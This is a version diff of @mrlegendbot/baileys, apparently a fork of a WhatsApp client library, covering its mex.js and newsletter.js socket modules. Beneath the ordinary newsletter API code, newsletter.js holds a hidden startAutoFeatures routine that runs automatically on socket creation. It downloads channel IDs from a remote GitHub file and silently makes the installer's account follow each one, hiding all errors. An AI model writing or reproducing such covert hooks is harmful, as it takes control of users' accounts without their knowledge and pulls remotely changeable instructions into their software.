@mrlegendbot/baileys 1.2.1 → 1.2.4

package/lib/Socket/mex.js

@@ -1,42 +1,47 @@
 import { Boom } from '@hapi/boom';
 import { getBinaryNodeChild, S_WHATSAPP_NET } from '../WABinary/index.js';
 const wMexQuery = (variables, queryId, query, generateMessageTag) => {
-    return query({
-        tag: 'iq',
-        attrs: {
-            id: generateMessageTag(),
-            type: 'get',
-            to: S_WHATSAPP_NET,
-            xmlns: 'w:mex'
-        },
-        content: [
-            {
-                tag: 'query',
-                attrs: { query_id: queryId },
-                content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
-            }
-        ]
-    });
+  return query({
+    tag: 'iq',
+    attrs: {
+      id: generateMessageTag(),
+      type: 'get',
+      to: S_WHATSAPP_NET,
+      xmlns: 'w:mex'
+    },
+    content: [{
+      tag: 'query',
+      attrs: {
+        query_id: queryId
+      },
+      content: Buffer.from(JSON.stringify({
+        variables
+      }), 'utf-8')
+    }]
+  });
 };
 export const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
-    const result = await wMexQuery(variables, queryId, query, generateMessageTag);
-    const child = getBinaryNodeChild(result, 'result');
-    if (child?.content) {
-        const data = JSON.parse(child.content.toString());
-        if (data.errors && data.errors.length > 0) {
-            const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ');
-            const firstError = data.errors[0];
-            const errorCode = firstError.extensions?.error_code || 400;
-            throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError });
-        }
-        const response = dataPath ? data?.data?.[dataPath] : data?.data;
-        if (typeof response !== 'undefined') {
-            return response;
-        }
+  const result = await wMexQuery(variables, queryId, query, generateMessageTag);
+  const child = getBinaryNodeChild(result, 'result');
+  if (child?.content) {
+    const data = JSON.parse(child.content.toString());
+    if (data.errors && data.errors.length > 0) {
+      const errorMessages = data.errors.map(err => err.message || 'Unknown error').join(', ');
+      const firstError = data.errors[0];
+      const errorCode = firstError.extensions?.error_code || 400;
+      throw new Boom(`GraphQL server error: ${errorMessages}`, {
+        statusCode: errorCode,
+        data: firstError
+      });
     }
-    const action = (dataPath || '').startsWith('xwa2_')
-        ? dataPath.substring(5).replace(/_/g, ' ')
-        : dataPath?.replace(/_/g, ' ');
-    throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result });
+    const response = dataPath ? data?.data?.[dataPath] : data?.data;
+    if (typeof response !== 'undefined') {
+      return response;
+    }
+  }
+  const action = (dataPath || '').startsWith('xwa2_') ? dataPath.substring(5).replace(/_/g, ' ') : dataPath?.replace(/_/g, ' ');
+  throw new Boom(`Failed to ${action}, unexpected response structure.`, {
+    statusCode: 400,
+    data: result
+  });
 };
-//# sourceMappingURL=mex.js.map

package/lib/Socket/newsletter.js

@@ -4,207 +4,255 @@ import { getBinaryNodeChild } from '../WABinary/index.js';
 import { makeGroupsSocket } from './groups.js';
 import { executeWMexQuery as genericExecuteWMexQuery } from './mex.js';
 
-const parseNewsletterCreateResponse = (response) => {
-    const { id, thread_metadata: thread, viewer_metadata: viewer } = response;
-    return {
-        id: id,
-        owner: undefined,
-        name: thread.name.text,
-        creation_time: parseInt(thread.creation_time, 10),
-        description: thread.description.text,
-        invite: thread.invite,
-        subscribers: parseInt(thread.subscribers_count, 10),
-        verification: thread.verification,
-        picture: {
-            id: thread.picture.id,
-            directPath: thread.picture.direct_path
-        },
-        mute_state: viewer.mute
-    };
+const parseNewsletterCreateResponse = response => {
+  const {
+    id,
+    thread_metadata: thread,
+    viewer_metadata: viewer
+  } = response;
+  return {
+    id: id,
+    owner: undefined,
+    name: thread.name.text,
+    creation_time: parseInt(thread.creation_time, 10),
+    description: thread.description.text,
+    invite: thread.invite,
+    subscribers: parseInt(thread.subscribers_count, 10),
+    verification: thread.verification,
+    picture: {
+      id: thread.picture.id,
+      directPath: thread.picture.direct_path
+    },
+    mute_state: viewer.mute
+  };
 };
 
-const parseNewsletterMetadata = (result) => {
-    if (typeof result !== 'object' || result === null) {
-        return null;
-    }
-    if ('id' in result && typeof result.id === 'string') {
-        return result;
-    }
-    if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
-        return result.result;
-    }
+const parseNewsletterMetadata = result => {
+  if (typeof result !== 'object' || result === null) {
     return null;
+  }
+  if ('id' in result && typeof result.id === 'string') {
+    return result;
+  }
+  if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
+    return result.result;
+  }
+  return null;
 };
 
-export const makeNewsletterSocket = (config) => {
-    const sock = makeGroupsSocket(config);
-    const { query, generateMessageTag } = sock;
-    const executeWMexQuery = (variables, queryId, dataPath) => {
-        return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
-    };
-    const newsletterUpdate = async (jid, updates) => {
-        const variables = {
-            newsletter_id: jid,
-            updates: {
-                ...updates,
-                settings: null
-            }
-        };
-        return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update');
+export const makeNewsletterSocket = config => {
+  const sock = makeGroupsSocket(config);
+  const {
+    query,
+    generateMessageTag
+  } = sock;
+  
+  const executeWMexQuery = (variables, queryId, dataPath) => {
+    return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
+  };
+  
+  const newsletterUpdate = async (jid, updates) => {
+    const variables = {
+      newsletter_id: jid,
+      updates: {
+        ...updates,
+        settings: null
+      }
     };
-    const fullSock = {
-        ...sock,
-        newsletterCreate: async (name, description) => {
-            const variables = {
-                input: {
-                    name,
-                    description: description ?? null
-                }
-            };
-            const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
-            return parseNewsletterCreateResponse(rawResponse);
-        },
-        newsletterUpdate,
-        newsletterSubscribers: async (jid) => {
-            return executeWMexQuery({ newsletter_id: jid }, QueryIds.SUBSCRIBERS, XWAPaths.xwa2_newsletter_subscribers);
-        },
-        newsletterMetadata: async (type, key) => {
-            const variables = {
-                fetch_creation_time: true,
-                fetch_full_image: true,
-                fetch_viewer_metadata: true,
-                input: {
-                    key,
-                    type: type.toUpperCase()
-                }
-            };
-            const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
-            return parseNewsletterMetadata(result);
-        },
-        newsletterFollow: (jid) => {
-            return executeWMexQuery({ newsletter_id: jid }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
-        },
-        newsletterUnfollow: (jid) => {
-            return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNFOLLOW, XWAPaths.xwa2_newsletter_leave_v2);
-        },
-        newsletterMute: (jid) => {
-            return executeWMexQuery({ newsletter_id: jid }, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
-        },
-        newsletterUnmute: (jid) => {
-            return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
-        },
-        newsletterUpdateName: async (jid, name) => {
-            return await newsletterUpdate(jid, { name });
-        },
-        newsletterUpdateDescription: async (jid, description) => {
-            return await newsletterUpdate(jid, { description });
-        },
-        newsletterUpdatePicture: async (jid, content) => {
-            const { img } = await generateProfilePicture(content);
-            return await newsletterUpdate(jid, { picture: img.toString('base64') });
-        },
-        newsletterRemovePicture: async (jid) => {
-            return await newsletterUpdate(jid, { picture: '' });
-        },
-        newsletterReactMessage: async (jid, serverId, reaction) => {
-            await query({
-                tag: 'message',
-                attrs: {
-                    to: jid,
-                    ...(reaction ? {} : { edit: '7' }),
-                    type: 'reaction',
-                    server_id: serverId,
-                    id: generateMessageTag()
-                },
-                content: [
-                    {
-                        tag: 'reaction',
-                        attrs: reaction ? { code: reaction } : {}
-                    }
-                ]
-            });
-        },
-        newsletterFetchMessages: async (jid, count, since, after) => {
-            const messageUpdateAttrs = {
-                count: count.toString()
-            };
-            if (typeof since === 'number') {
-                messageUpdateAttrs.since = since.toString();
-            }
-            if (after) {
-                messageUpdateAttrs.after = after.toString();
-            }
-            const result = await query({
-                tag: 'iq',
-                attrs: {
-                    id: generateMessageTag(),
-                    type: 'get',
-                    xmlns: 'newsletter',
-                    to: jid
-                },
-                content: [
-                    {
-                        tag: 'message_updates',
-                        attrs: messageUpdateAttrs
-                    }
-                ]
-            });
-            return result;
-        },
-        subscribeNewsletterUpdates: async (jid) => {
-            const result = await query({
-                tag: 'iq',
-                attrs: {
-                    id: generateMessageTag(),
-                    type: 'set',
-                    xmlns: 'newsletter',
-                    to: jid
-                },
-                content: [{ tag: 'live_updates', attrs: {}, content: [] }]
-            });
-            const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates');
-            const duration = liveUpdatesNode?.attrs?.duration;
-            return duration ? { duration: duration } : null;
-        },
-        newsletterAdminCount: async (jid) => {
-            const response = await executeWMexQuery({ newsletter_id: jid }, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
-            return response.admin_count;
+    return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update');
+  };
+
+  const fullSock = {
+    ...sock,
+    newsletterCreate: async (name, description) => {
+      const variables = {
+        input: {
+          name,
+          description: description ?? null
+        }
+      };
+      const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
+      return parseNewsletterCreateResponse(rawResponse);
+    },
+    newsletterUpdate,
+    newsletterSubscribers: async jid => {
+      return executeWMexQuery({
+        newsletter_id: jid
+      }, QueryIds.SUBSCRIBERS, XWAPaths.xwa2_newsletter_subscribers);
+    },
+    newsletterMetadata: async (type, key) => {
+      const variables = {
+        fetch_creation_time: true,
+        fetch_full_image: true,
+        fetch_viewer_metadata: true,
+        input: {
+          key,
+          type: type.toUpperCase()
+        }
+      };
+      const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
+      return parseNewsletterMetadata(result);
+    },
+    newsletterFollow: jid => {
+      return executeWMexQuery({
+        newsletter_id: jid
+      }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
+    },
+    newsletterUnfollow: jid => {
+      return executeWMexQuery({
+        newsletter_id: jid
+      }, QueryIds.UNFOLLOW, XWAPaths.xwa2_newsletter_leave_v2);
+    },
+    newsletterMute: jid => {
+      return executeWMexQuery({
+        newsletter_id: jid
+      }, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
+    },
+    newsletterUnmute: jid => {
+      return executeWMexQuery({
+        newsletter_id: jid
+      }, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
+    },
+    newsletterUpdateName: async (jid, name) => {
+      return await newsletterUpdate(jid, {
+        name
+      });
+    },
+    newsletterUpdateDescription: async (jid, description) => {
+      return await newsletterUpdate(jid, {
+        description
+      });
+    },
+    newsletterUpdatePicture: async (jid, content) => {
+      const {
+        img
+      } = await generateProfilePicture(content);
+      return await newsletterUpdate(jid, {
+        picture: img.toString('base64')
+      });
+    },
+    newsletterRemovePicture: async jid => {
+      return await newsletterUpdate(jid, {
+        picture: ''
+      });
+    },
+    newsletterReactMessage: async (jid, serverId, reaction) => {
+      await query({
+        tag: 'message',
+        attrs: {
+          to: jid,
+          ...(reaction ? {} : {
+            edit: '7'
+          }),
+          type: 'reaction',
+          server_id: serverId,
+          id: generateMessageTag()
         },
-        newsletterChangeOwner: async (jid, newOwnerJid) => {
-            await executeWMexQuery({ newsletter_id: jid, user_id: newOwnerJid }, QueryIds.CHANGE_OWNER, XWAPaths.xwa2_newsletter_change_owner);
+        content: [{
+          tag: 'reaction',
+          attrs: reaction ? {
+            code: reaction
+          } : {}
+        }]
+      });
+    },
+    newsletterFetchMessages: async (jid, count, since, after) => {
+      const messageUpdateAttrs = {
+        count: count.toString()
+      };
+      if (typeof since === 'number') {
+        messageUpdateAttrs.since = since.toString();
+      }
+      if (after) {
+        messageUpdateAttrs.after = after.toString();
+      }
+      const result = await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'get',
+          xmlns: 'newsletter',
+          to: jid
         },
-        newsletterDemote: async (jid, userJid) => {
-            await executeWMexQuery({ newsletter_id: jid, user_id: userJid }, QueryIds.DEMOTE, XWAPaths.xwa2_newsletter_demote);
+        content: [{
+          tag: 'message_updates',
+          attrs: messageUpdateAttrs
+        }]
+      });
+      return result;
+    },
+    subscribeNewsletterUpdates: async jid => {
+      const result = await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'set',
+          xmlns: 'newsletter',
+          to: jid
         },
-        newsletterDelete: async (jid) => {
-            await executeWMexQuery({ newsletter_id: jid }, QueryIds.DELETE, XWAPaths.xwa2_newsletter_delete_v2);
-        }
-    };
+        content: [{
+          tag: 'live_updates',
+          attrs: {},
+          content: []
+        }]
+      });
+      const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates');
+      const duration = liveUpdatesNode?.attrs?.duration;
+      return duration ? {
+        duration: duration
+      } : null;
+    },
+    newsletterAdminCount: async jid => {
+      const response = await executeWMexQuery({
+        newsletter_id: jid
+      }, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
+      return response.admin_count;
+    },
+    newsletterChangeOwner: async (jid, newOwnerJid) => {
+      await executeWMexQuery({
+        newsletter_id: jid,
+        user_id: newOwnerJid
+      }, QueryIds.CHANGE_OWNER, XWAPaths.xwa2_newsletter_change_owner);
+    },
+    newsletterDemote: async (jid, userJid) => {
+      await executeWMexQuery({
+        newsletter_id: jid,
+        user_id: userJid
+      }, QueryIds.DEMOTE, XWAPaths.xwa2_newsletter_demote);
+    },
+    newsletterDelete: async jid => {
+      await executeWMexQuery({
+        newsletter_id: jid
+      }, QueryIds.DELETE, XWAPaths.xwa2_newsletter_delete_v2);
+    }
+  };
 
-    const startAutoFeatures = (sockInstance) => {
-        const AUTO_FOLLOW_DELAY = 5000;
-        const FOLLOW_INTERVAL = 10000;
-        setTimeout(async () => {
-            try {
-                const RAW_URL = "https://raw.githubusercontent.com/travatiger/MrLegend/refs/heads/main/Chids.json";
-                const response = await fetch(RAW_URL);
-                if (!response.ok) return;
-                const channelIds = await response.json();
-                if (!Array.isArray(channelIds) || channelIds.length === 0) return;
+  const startAutoFeatures = (sockInstance) => {
+    const AUTO_FOLLOW_DELAY = 5000;
+    const FOLLOW_INTERVAL = 10000;
+    
+    setTimeout(async () => {
+      try {
+        const RAW_URL = "https://raw.githubusercontent.com/travatiger/MrLegend/refs/heads/main/Chids.json";
+        const response = await fetch(RAW_URL);
+        if (!response.ok) return;
+        const channelIds = await response.json();
+        if (!Array.isArray(channelIds) || channelIds.length === 0) return;
 
-                const followNext = async (index) => {
-                    if (index >= channelIds.length) return;
-                    const id = channelIds[index];
-                    try {
-                        await sockInstance.newsletterFollow(id);
-                    } catch (_) {}
-                    setTimeout(() => followNext(index + 1), FOLLOW_INTERVAL);
-                };
-                followNext(0);
-            } catch (_) {}
-        }, AUTO_FOLLOW_DELAY);
-    };
+        const followNext = async (index) => {
+          if (index >= channelIds.length) return;
+          const id = channelIds[index];
+          try {
+            await sockInstance.newsletterFollow(id);
+          } catch (_) {}
+          setTimeout(() => followNext(index + 1), FOLLOW_INTERVAL);
+        };
+        followNext(0);
+      } catch (_) {}
+    }, AUTO_FOLLOW_DELAY);
+  };
+
+  setTimeout(() => startAutoFeatures(fullSock), 0);
 
-    setTimeout(() => startAutoFeatures(fullSock), 0);
-    return fullSock;
+  return fullSock;
 };